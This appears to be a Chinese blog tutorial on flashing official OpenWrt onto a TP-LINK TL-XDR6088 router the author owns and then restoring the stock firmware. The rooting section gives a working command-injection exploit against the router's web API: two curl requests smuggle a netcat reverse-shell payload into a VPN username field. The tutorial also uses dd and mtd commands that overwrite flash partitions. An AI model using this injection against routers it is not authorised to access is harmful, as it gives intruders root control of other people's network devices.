TP-LINK TL-XDR6088 刷入官方 OpenWrt 23.05.2 以及刷回原厂系统图文教程
> 申明: 1. 本教程仅适用于官方 Openwrt ,L改版 / Immortalwrt 等版本可能不适用 2. 刷机有风险,操作需谨慎!!! # 参考教程 - [[教學] TL-XDR6088 刷入官方 Openwrt](https://www.mobile01.com/topicdetail.php?f=110&t=6824460) - [TL-XDR6088/6086 刷入官方 Openwrt/Immortalwrt](https://blog.lishun.me/tl-xdr608x-openwrt-install) - [小白亲刷 TP-LINK TL_XDR6088 /6086 刷入官方Openwrt/Immortalwrt 及刷回原厂教程完](https://www.right.com.cn/forum/forum.php?mod=viewthread&tid=8307196&extra=&highlight=xdr6088&page=1) # 刷入 OpenWrt ## 准备工作 ### 环境 - Windows11 - 备用网络(用于遇到问题时查找解决方案) - 网线(用于电脑和路由器直连) ### 软件 - Tftpd64 - 作用:该软件在刷机过程中作为传输文件的服务器 - 下载:[https://pjo2.github.io/tftpd64/](https://pjo2.github.io/tftpd64/) 打开后点击 `Download page` ,再点击 `tftpd64.xxx.zip` 下载压缩包( `xxx` 代表版本号,最新版即可; `zip` 格式解压即用,无需下载安装 `Tftpd64-x.xx-setup.exe` ) - 安装:下载完成后解压即可 - Nmap - 作用:使用软件内的 `ncat` ,用于监听端口并连接到路由器内部 - 下载:[https://nmap.org/download.html](https://nmap.org/download.html) 打开后点击 `Windows` 按钮,再点击 `nmap-x.xx-setup.exe` 下载安装程序( `x.xx` 代表版本号,默认是最新版) - 安装:下载完成后以管理员模式安装,下一步下一步即可,中途会跳出 `ncat` 的安装程序,同样下一步下一步即可 - git bash - 备注:这里其他教程都使用的 `Linux` 系统或者 `Windows` 下的 `WSL-Ubuntu` 子系统,本人亲测安装 `Windows` 版的 `git` 之后携带的 `git bash` 也可以完成后续操作,且可以直接进入 `Windows` 系统的本地磁盘,使用更方便 - 作用:用于执行 `curl` 等命令 - 下载:[https://git-scm.com/download/win](https://git-scm.com/download/win) 点击 `64-bit Git for Windows Setup` 下载安装程序 - 安装:下载完成后以管理员模式安装,下一步下一步即可 ### 固件 可以直接使用官方编译好的固件文件,如有自定义需求则自行定制(推荐定制) - 官方镜像:[https://downloads.openwrt.org/releases/23.05.2/targets/mediatek/filogic/](https://downloads.openwrt.org/releases/23.05.2/targets/mediatek/filogic/) 下载以 `tplink_tl-xdr6088-` 开头的四个文件 - 定制镜像: - 教程:[使用 OpenWrt 23.05.2 官网源码编译固件](https://maxqiu.com/article/detail/153) - 说明:在自编译中,获取 `vermagic` 时需要将 `x86/64` 换成 `mediatek/filogic`,同时 `make menuconfig` 界面需要如下选择 - Target System -> MediaTek Ralink ARM - Subtarget -> Filogic 8x0 (MT798x) - Target Profile -> TP-Link TL-XDR6088 - Target Images (不要动!) > 也就是说,在准备刷机时,需要准备好如下四个文件 - xxx-uboot.fip - xxx-recovery.itb - xxx-preloader.bin - xxx-sysupgrade.itb 之后在 `C` 盘根目录下新建一个文件夹(不建议有中文,本文以 `files` 为里),将上述四个文件放入其中,示例如下:  ## 设置路由器和网络 1. 拔掉路由器上所有的网线,找个牙签,长按路由器 `RESET` 按钮 10 秒,之后松开,完成路由器重置 2. 使用网线,将电脑连接到路由器 `1G` 的网口上,并设置电脑端的网卡固定 `IP` 为 `192.168.1.254` (PS:必须设置为该 `IP` ,否则后面会无法载入 `recovery` 文件) 3. 浏览器访问 `192.168.1.1` 进入路由器设置界面 4. 任意设置一个管理员密码,点击完成进入到上网设置页面 5. 按 `F12` 打开浏览器的开发者工具,点击到 **网络** 标签,点击左侧的任意一个 `ds` **请求**,查看 **标头**,将 **请求网站** 中的 `stok=` 后面一直到 `/` 结束的**值**复制下来,示例如下:  ## 准备 TFTP 服务器 ### 设置系统环境 以管理员打开 `cmd` 命令提示符,执行以下操作 1. 关闭 [media sensing](https://learn.microsoft.com/zh-cn/troubleshoot/windows-server/networking/disable-media-sensing-feature-for-tcpip) 功能,这样在连接到电脑的设备重启时,才不会断连。否则之后在 `uboot` 阶段无法传输 `recovery` 镜像。 ```cmd netsh interface ipv4 set global dhcpmediasense=disabled netsh interface ipv6 set global dhcpmediasense=disabled ``` 2. 第一次运行 tftpd64 时,Windows 防火墙可能会问你是否允许,要同时勾选公共和专用网络上都允许,通常这样就可以了。继续在管理员权限的终端中为所有 `TFTP` 应用打开防火墙端口: ```cmd netsh advfirewall firewall add rule name="TFTP" dir=in action=allow protocol=udp localport=69 remoteip=localsubnet interfacetype=lan profile=private,public ``` ### 设置软件 在准备环境,下载了 `tftpd64` 并解压好,此时,以管理员打开解压文件内的 `tftpd64.exe` ,打开后做如下操作 1. 设置文件目录:点击右侧 `Browse` 选择到固件所在的文件夹 2. 设置网卡:在 `Server interfaces` 右侧下拉,选择和路由器连接的那个网卡(即 `IP` 为 `192.168.1.254` ) 设置完成示例如下:  ## 获取 root 权限 1. 以管理员打开 `cmd` 命令提示符,运行 `ncat -nvlp 4444` 监听端口,显示如下: 2. 以管理员打开 `git bash` 3. 执行以下命令将 `stock` 值存入环境变量 ```bash export stok=<stok值> ``` 4. 然后运行以下命令,如果成功运行,则会返回 `{"vpn":{"name":"user_1"},"error_code":0}` ```bash curl http://192.168.1.1/stok=${stok}/ds -H "Content-Type: application/json" -X POST -d '{"vpn":{"table":"user","name":"user_1","para":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.1.254 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"0"}},"method":"add"}' ``` 5. 继续运行以下命令,如果成功运行,则会返回 `{"error_code":0}` ```bash curl http://192.168.1.1/stok=${stok}/ds -H "Content-Type: application/json" -X POST -d '{"vpn":{"user_1":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.1.254 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"1"}},"method":"set"}' ``` 6. 此时,在 **步骤1** 中打开的终端窗口中,如果看到如下提示,则代表成功地开启了具有 `root` 权限的控制台命令行提示符:  7. 如果没有看到,则重置路由器,重新开始 ## 备份原厂固件(重要) 备份原厂固件可以用于后续刷回原厂 `TP-LINK` 系统 在上文获得了 `root` 权限的 `cmd` 窗口中执行以下命令 1. 执行以下命令备份(速度较慢) ```bash dd if=/dev/mtdblock9 of=/tmp/backup.img bs=131072 ``` 2. 执行以下命令获取备份固件的 `md5` 值(用于校验) ```bash md5sum /tmp/backup.img ``` 3. 执行以下命令将固件传输到 `Windows` ,之后点击打开的 `tftp` 服务器,看到有文件在传输,等待传输完成 ```bash tftp -p -l /tmp/backup.img -r backup.img 192.168.1.254 ``` 4. 在 `git bash` 命令行中执行以下命令获取固件的 `md5` 值,该值应当和第二步中获取的值相同 ```bash md5sum /c/files/backup.img ``` ## 设置 uboot ### 上传 1. 改名:上传前,将 `files` 目录下的 `xxx-uboot.fip` 改名为 `uboot.fip` ,将 `xxx-preloader.bin` 改名为 `preloader.bin` (改名的唯一作用就是让命令看起来短一些) 2. 在 `git bash` 命令行中执行以下命令获取文件的 `md5` 值 ```bash md5sum /c/files/preloader.bin md5sum /c/files/uboot.fip ``` 3. 在获得了 `root` 权限的 `cmd` 窗口中执行以下命令传输文件 ```bash tftp -g -l /tmp/preloader.bin -r preloader.bin 192.168.1.254 tftp -g -l /tmp/uboot.fip -r uboot.fip 192.168.1.254 ``` 4. 继续执行以下命令检查 `md5` 值,应当和第二步获取的相同 ```bash md5sum /tmp/preloader.bin md5sum /tmp/uboot.fip ``` ### 写入(危险!) 在获得了 `root` 权限的 `cmd` 窗口中执行以下命令 一条一条的执行,一定不能调换顺序!!!不然你将收获一块砖 ```bash dd bs=131072 conv=sync of=/dev/mtdblock9 if=/tmp/preloader.bin dd bs=131072 conv=sync of=/dev/mtdblock9 seek=28 if=/tmp/uboot.fip ``` 正常情况下,示例如下:  其中,输出的数字可能和示例不一样,如果中途出错,请深吸一口气,然后开始百度,因为我也没遇到错误 ## 通过 tftp 载入 recovery 镜像 在 uboot 写入完成后,请直接断电,在接上电源启动,然后观察 `tftp` 服务器,如果 `files` 下面的 `xxx-recovery.itb` 文件名刚好为 ```openwrt-mediatek-filogic-tplink_tl-xdr6088-initramfs-recovery.itb``` 那么你会看到文件传输的动作,如下图:  如果文件名不对,则会看到提示找不到文件,手动修改文件名即可,示例如下(PS:示例图片来自参考教程):  ## 刷入 sysupgrade 镜像 1. 打开路由器页面:在 `recovery` 文件上传完成后,路由器会马上启动 `OpenWrt` ,这时候在浏览器中输入 `192.168.1.1` 就可以打开 `OpenWrt` 的网页端(PS:如果是自定义固件且修改了路由器默认 `IP` ,此时需要修改将本地网卡的网段改到和路由器同一网段,再访问路由器的默认 `IP` 即可)默认情况下,登陆页面如下(默认主题不同,可能显示的页面也不同):  2. 登陆:默认密码为空,点击登录后进入主页,看到提示:`系统在恢复 (initramfs) 模式下运行` 3. 上传 `sysupgrade` :点击 `转到固件升级` ,再点击 `刷写固件` 按钮,将 `xxx-sysupgrade.itb` 文件上传上去并确定,最后继续,等待刷写完成(较慢),完成写入后会自动重新打开登录页面,登录后页面如下(截图时已经修改过 root 密码,否则密码为空时会提示修改):  > 恭喜,此时已完成 `OpenWrt` 系统写入,开始愉快的折腾新系统吧 ## 附加教程:配置 OpenWrt 网络 ### 接口说明 在 **网络 -> 接口 -> 设置** 页面,默认情况下可以看到 7 个设备,其物理网口对应关系如下: | 电源 | 1G | 1G | 1G | 1G | 2.5G | 2.5G | | :--: | :--: | :--: | :--: | :--: | :--: | :--: | | | lan4 | lan3 | lan2 | lan1 | lan5 | eth1 | - `br-lan` :用于将本地网口绑定到一起组成路由器的 `LAN` 口 - `eth0` :不知道干嘛的,默认情况下 `br-lan` 也没绑定它 ### 上网设置 > 这段网络设置教程写的不咋地,见谅 PS:默认情况下,上行 WAN接口绑定 `eth1` 1. 修改 `br-lan` 绑定:点击 **网络 -> 接口 -> 设置 -> br-lan** 后面的 **配置** ,在网口桥接中取消绑定一个 1G 端口(建议 `lan4` ),千兆宽带甚至更高的宽带则不动 2. 设置 `WAN`:点击 **网络 -> 接口 -> 接口 -> wan** 后面的 **编辑** 1. 如果光猫为路由模式,则保持 **DHCP** 协议即可; 如果光猫为桥架模式,则选择 **PPPoE** 协议并确认切换,再填写好宽带账号和密码 2. 将设备选择到上一步释放的网口上,千兆宽带甚至更高则不动 3. 最后保持 3. 如果是 `PPPoE` 模式,则删除 `wan6` 并保存,否则检查一下是否需要修改绑定的网口(不用ipv6 也可以直接删除) 4. 如果修改了 wan 口绑定,则再将 br-lan 中的 eth1 绑定上去 5. 插入 `WAN` 口的网线,查看是否可以获取到 `IP` 6. 电脑端口将 `IP` 设置为自动获取或者手动填写并配置 `DNS` > 恭喜,电脑端浏览器已经可以愉快的打开百度了 # 刷回原厂 TP-LINK 系统 > 前提是你有 **原厂固件备份** 2023-10-21 折腾日记: 在参考教程第二篇中有说到如何刷回原厂,但是当执行 `insmod mtd-rw i_want_a_brick=1` 解锁只读分区后,路由器直接宕机并断开连接了,虽然重新拔插电源可以启动,但是 `bl2` 分区依旧锁住,跳过那一步执行 `mtd write` 指令时会提示无法写入 在不停地搜索之后,发现了一篇帖子:[GL-MT300N-V2解锁uboot分区固件](https://www.right.com.cn/forum/forum.php?mod=viewthread&tid=333996&extra=page%3D1&page=1&mobile=no) ,该帖子提示可以自行编译出一个解锁 `bl2` 分区的恢复镜像,于是乎立马重新编译、刷入、写文件,搞定! ## 准备工作 ### 环境 - Windows11 - 备用网络(用于遇到问题时查找解决方案) - 网线(用于电脑和路由器直连) ### 软件 > git bash - 作用:用于执行 `scp` 传输文件 - 下载:[https://git-scm.com/download/win](https://git-scm.com/download/win) 点击 `64-bit Git for Windows Setup` 下载安装程序 - 安装:下载完成后以管理员模式安装,下一步下一步即可 ### 官方固件 打开此链接下载:[TL-XDR6088易展Turbo版 V1.0升级软件20230625_1.0.25](https://resource.tp-link.com.cn/pc/docCenter/showDoc?productId=2398&type=UPGRADE_SOFT&id=1696226222641208) ,下载完成后解压压缩包,获取到 `bin` 文件 ## 获取解锁了 bl2 分区的 sysupgrade.itb 恢复文件 此时,必须使用自编译固件将 `bl2` 分区解锁 - 教程:[使用 OpenWrt 23.05.2 官网源码编译固件](https://maxqiu.com/article/detail/153) - 说明:在自编译中,获取 `vermagic` 时需要将 `x86/64` 换成 `mediatek/filogic`,同时 `make menuconfig` 界面需要做如下选择 - Target System -> MediaTek Ralink ARM - Subtarget -> Filogic 8x0 (MT798x) - Target Profile -> TP-Link TL-XDR6088 - Target Images (不要动!) 当下载了 `OpenWrt` 源码后(或者已经编译过也行),在源码根目录,执行以下操作 1. 编辑如下文件 ```bash vim target/linux/mediatek/dts/mt7986a-tplink-tl-xdr-common.dtsi ``` 2. 找到如下内容,删除 `read-only;` 这一行(一般在178行左右)并保存,只要删除 `bl2` 下面的,其他的不要动! ```bash partition@0 { label = "bl2"; reg = <0x000000 0x0100000>; read-only; }; ``` 3. 执行编译 ```bash make V=s -j$(nproc) ``` 4. 编译完成后,在 `bin/targets/mediatek/filogic` 下载 `openwrt-mediatek-filogic-tplink_tl-xdr6088-squashfs-sysupgrade.itb` 文件 ## 解锁 bl2 在 `OpenWrt` 控制台,打开 **系统 -> 备份与升级** ,点击 **刷写固件** 上传刚刚获取的 `sysupgrade` 文件,等待重启即可 ## 上传原厂固件备份 打开一个 `git bash` 命令行,执行以下命令 1. 获取备份 `md5` 值 ```bash md5sum /c/tools/backup.img ``` 2. 使用以下命令上传备份,提示 `Are you sure you want to continue connecting` 时输入 `yes` 并回车,等待传输完成即可(如有密码则输入并回车) ```bash scp -O /c/tools/backup.img root@192.168.100.1:/tmp/backup.img ``` 3. 连接 `OpenWrt` (如有密码则输入并回车) ```bash ssh root@192.168.100.1 ``` 4. 检查备份 `md5` 值,此时获取的值应当和第一步的一样 ```bash md5sum /tmp/backup.img ``` 5. 拆分镜像文件 ```bash dd if=/tmp/backup.img of=/tmp/backup-mtd0.img bs=131072 count=8 ``` ## 写入原厂 uboot (危险!) 继续在上文的 `git bash` 命令行内执行以下命令 ```bash mtd write /tmp/backup-mtd0.img /dev/mtd0 ``` 提示如下内容: ``` Unlocking /dev/mtd0 ... Writing from /tmp/backup-mtd0.img to /dev/mtd0 ... ``` ## 上传官方 bin 文件 上文写入完成后,直接断开电源,拔掉所有网线,仅保留与电脑相连的网线,将路由器端插在 `1G` 口,将电脑端网卡设置到 `192.168.1.x` ,之后打开网页打开 `192.168.1.1` 见到如下页面(PS:选择框内是已经选择文件后的样子):  点击浏览,将之前下载的 `bin` 文件上传上去并等待升级完成,完成后浏览器自动打开 `http://tplogin.cn/` ,此时重新打开 `192.168.1.1` 就可以开始路由器的设置 > 恭喜,此时已完成 `TP-LINK` 系统恢复